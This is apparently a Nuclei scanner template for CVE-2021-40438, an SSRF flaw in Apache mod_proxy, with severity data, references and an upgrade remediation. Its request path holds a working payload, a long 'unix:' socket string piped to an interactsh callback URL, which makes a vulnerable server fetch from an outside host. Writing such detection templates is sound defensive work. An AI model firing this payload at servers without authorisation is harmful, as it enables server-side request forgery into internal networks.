49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: CVE-2021-40438
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info:
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name: Apache <= 2.4.48 - Mod_Proxy SSRF
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author: pdteam
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severity: critical
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description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
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remediation: Upgrade to Apache version 2.4.49 or later.
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reference:
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- https://firzen.de/building-a-poc-for-cve-2021-40438
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- https://httpd.apache.org/security/vulnerabilities_24.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
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- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
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- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9
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cve-id: CVE-2021-40438
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cwe-id: CWE-918
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epss-score: 0.97279
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epss-percentile: 0.9981
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cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: apache
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product: http_server
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tags: cve,cve2021,ssrf,apache,mod-proxy,kev
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http:
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- method: GET
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path:
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- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}'
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "Interactsh Server"
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 4a0a00473045022100daf231722662b3301a7e93c121562a7499cc9c5edb6b6e928b5af98c2646a2e302206de2afc5a61d5f63d13e4de42cc2f34c356ecb0c2e1e9db7ab33d3c45a15ae36:922c64590222798bb761d5b6d8e72950
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